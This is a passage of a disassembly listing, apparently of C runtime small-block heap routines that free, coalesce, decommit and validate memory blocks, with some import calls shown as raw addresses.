		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_41D057
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41CF33
		mov	[ebp+var_20], 3Fh


loc_41CF33:				; CODE XREF: sub_41CD50+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41D043
		cmp	[ebp+var_20], 20h
		jnb	short loc_41CFDC
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41CFBA
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41CFBA:				; CODE XREF: sub_41CD50+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_41D043
; ---------------------------------------------------------------------------


loc_41CFDC:				; CODE XREF: sub_41CD50+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41D01A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_41D01A:				; CODE XREF: sub_41CD50+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx


loc_41D043:				; CODE XREF: sub_41CD50+225j
					; sub_41CD50+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx


loc_41D057:				; CODE XREF: sub_41CD50+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_41D332
; ---------------------------------------------------------------------------


loc_41D076:				; CODE XREF: sub_41CD50+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_41D332
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41D0C7
		mov	[ebp+var_24], 3Fh


loc_41D0C7:				; CODE XREF: sub_41CD50+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_41D210
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41D0EE
		mov	[ebp+var_20], 3Fh


loc_41D0EE:				; CODE XREF: sub_41CD50+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41D1D0
		cmp	[ebp+var_20], 20h
		jnb	short loc_41D165
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41D163
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41D163:				; CODE XREF: sub_41CD50+3F9j
		jmp	short loc_41D1D0
; ---------------------------------------------------------------------------


loc_41D165:				; CODE XREF: sub_41CD50+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41D1D0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41D1D0:				; CODE XREF: sub_41CD50+3AAj
					; sub_41CD50:loc_41D163j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41D210
		mov	[ebp+var_24], 3Fh


loc_41D210:				; CODE XREF: sub_41CD50+37Fj
					; sub_41CD50+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41D31E
		cmp	[ebp+var_24], 20h
		jnb	short loc_41D2B8
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41D296
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_41D296:				; CODE XREF: sub_41CD50+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_41D31E
; ---------------------------------------------------------------------------


loc_41D2B8:				; CODE XREF: sub_41CD50+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41D2F5
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41D2F5:				; CODE XREF: sub_41CD50+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax


loc_41D31E:				; CODE XREF: sub_41CD50+502j
					; sub_41CD50+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax


loc_41D332:				; CODE XREF: sub_41CD50+321j
					; sub_41CD50+32Cj
		mov	eax, 1


loc_41D337:				; CODE XREF: sub_41CD50+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_41CD50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB794, 0
		jz	loc_41D46C
		mov	eax, dword_4DB78C
		shl	eax, 0Fh
		mov	ecx, dword_4DB794
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		nop
		call	near ptr 2890603h
		mov	edx, 80000000h
		mov	ecx, dword_4DB78C
		shr	edx, cl
		mov	eax, dword_4DB794
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4DB794
		mov	[edx+8], ecx
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	edx, dword_4DB78C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4DB794
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_41D3F2
		mov	edx, dword_4DB794
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4DB794
		mov	[ecx+4], eax


loc_41D3F2:				; CODE XREF: ___:0041D3DCj
		mov	edx, dword_4DB794
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_41D462
		cmp	dword_4DB798, 1
		jle	short loc_41D462
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4DB7A0
		push	edx
		nop
		call	near ptr 28820CAh
		mov	eax, dword_4DB798
		imul	eax, 14h
		mov	ecx, dword_4DB79C
		add	ecx, eax
		mov	edx, dword_4DB794
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, dword_4DB794
		add	eax, 14h
		push	eax
		mov	ecx, dword_4DB794
		push	ecx
		call	sub_4197C0
		add	esp, 0Ch
		mov	edx, dword_4DB798
		sub	edx, 1
		mov	dword_4DB798, edx


loc_41D462:				; CODE XREF: ___:0041D3FCj
					; ___:0041D405j
		mov	dword_4DB794, 0


loc_41D46C:				; CODE XREF: ___:0041D34Bj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D470	proc near		; CODE XREF: sub_41BC70+15p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, dword_4DB798
		imul	eax, 14h
		push	eax
		mov	ecx, dword_4DB79C
		push	ecx
		nop
		call	near ptr 28215EBh
		test	eax, eax
		jz	short loc_41D49B
		or	eax, 0FFFFFFFFh
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D49B:				; CODE XREF: sub_41D470+21j
		mov	edx, dword_4DB79C
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_41D4C2
; ---------------------------------------------------------------------------


loc_41D4B3:				; CODE XREF: sub_41D470+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax


loc_41D4C2:				; CODE XREF: sub_41D470+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, dword_4DB798
		jge	loc_41DA87
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		call	near ptr 28215EBh
		nop
		test	eax, eax
		jz	short loc_41D503
		mov	eax, 0FFFFFFFEh
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D503:				; CODE XREF: sub_41D470+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_41D553
; ---------------------------------------------------------------------------


loc_41D54A:				; CODE XREF: sub_41D470+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_41D553:				; CODE XREF: sub_41D470+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_41DA4B
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D587:				; CODE XREF: sub_41D470+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx


loc_41D596:				; CODE XREF: sub_41D470+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_41D5B2
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_41D587
; ---------------------------------------------------------------------------


loc_41D5B2:				; CODE XREF: sub_41D470+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_41D9ED
		push	8000h
		mov	ecx, [ebp+var_128]
		push	ecx
		nop
		call	near ptr 28215EBh
		test	eax, eax
		jz	short loc_41D5DC
		mov	eax, 0FFFFFFFCh
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D5DC:				; CODE XREF: sub_41D470+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_41D600
; ---------------------------------------------------------------------------


loc_41D5F1:				; CODE XREF: sub_41D470+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax


loc_41D600:				; CODE XREF: sub_41D470+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_41D784
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_41D642
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41D64C


loc_41D642:				; CODE XREF: sub_41D470+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D64C:				; CODE XREF: sub_41D470+1D0j
					; sub_41D470+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_41D6A9
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_41D698
		mov	eax, 0FFFFFFFAh
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D698:				; CODE XREF: sub_41D470+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_41D6EB
; ---------------------------------------------------------------------------


loc_41D6A9:				; CODE XREF: sub_41D470+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_41D6CE
		mov	[ebp+var_14C], 3Fh


loc_41D6CE:				; CODE XREF: sub_41D470+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx


loc_41D6EB:				; CODE XREF: sub_41D470+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_41D70D
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_41D70D
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_41D717


loc_41D70D:				; CODE XREF: sub_41D470+282j
					; sub_41D470+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D717:				; CODE XREF: sub_41D470+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_41D738
		mov	eax, 0FFFFFFF8h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D738:				; CODE XREF: sub_41D470+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_41D64C
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_41D774
		mov	eax, 0FFFFFFF8h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D774:				; CODE XREF: sub_41D470+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_41D5F1
; ---------------------------------------------------------------------------


loc_41D784:				; CODE XREF: sub_41D470+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_41D79B
		mov	eax, 0FFFFFFF7h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D470+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_41D7B6
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D470+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_41D7B6:				; CODE XREF: sub_41D470+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_41D9ED
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx


loc_41D7D6:				; CODE XREF: sub_41D470+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_41D91A
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_41D91A
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_41D82E
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_41D838


loc_41D82E:				; CODE XREF: sub_41D470+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D838:				; CODE XREF: sub_41D470+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax


loc_41D864:				; CODE XREF: sub_41D470+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_41D88E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_41D87C
		jmp	short loc_41D88E
; ---------------------------------------------------------------------------


loc_41D87C:				; CODE XREF: sub_41D470+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_41D864
; ---------------------------------------------------------------------------


loc_41D88E:				; CODE XREF: sub_41D470+3FDj
					; sub_41D470+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_41D8A3
		mov	eax, 0FFFFFFF5h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D8A3:				; CODE XREF: sub_41D470+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_41D8CA
		mov	[ebp+var_14C], 3Fh


loc_41D8CA:				; CODE XREF: sub_41D470+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_41D8DF
		mov	eax, 0FFFFFFF4h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D8DF:				; CODE XREF: sub_41D470+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_41D8FA
		mov	eax, 0FFFFFFF3h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D8FA:				; CODE XREF: sub_41D470+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_41D7D6
; ---------------------------------------------------------------------------


loc_41D91A:				; CODE XREF: sub_41D470+381j
					; sub_41D470+397j
		cmp	[ebp+var_168], 0
		jz	short loc_41D991
		cmp	[ebp+var_14], 20h
		jge	short loc_41D95B
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_41D991
; ---------------------------------------------------------------------------


loc_41D95B:				; CODE XREF: sub_41D470+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax


loc_41D991:				; CODE XREF: sub_41D470+4B1j
					; sub_41D470+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_41D9B4
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_41D9BE


loc_41D9B4:				; CODE XREF: sub_41D470+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D9BE:				; CODE XREF: sub_41D470+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_41D9D9
		mov	eax, 0FFFFFFF1h
		jmp	loc_41DA89
; ---------------------------------------------------------------------------


loc_41D9D9:				; CODE XREF: sub_41D470+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_41D7AD
; ---------------------------------------------------------------------------


loc_41D9ED:				; CODE XREF: sub_41D470+146j
					; sub_41D470+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_41DA1A
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_41DA21


loc_41DA1A:				; CODE XREF: sub_41D470+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_41DA89
; ---------------------------------------------------------------------------


loc_41DA21:				; CODE XREF: sub_41D470+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_41D54A
; ---------------------------------------------------------------------------


loc_41DA4B:				; CODE XREF: sub_41D470+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_41DA6C
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_41DA73


loc_41DA6C:				; CODE XREF: sub_41D470+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_41DA89
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D470+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_41D4B3
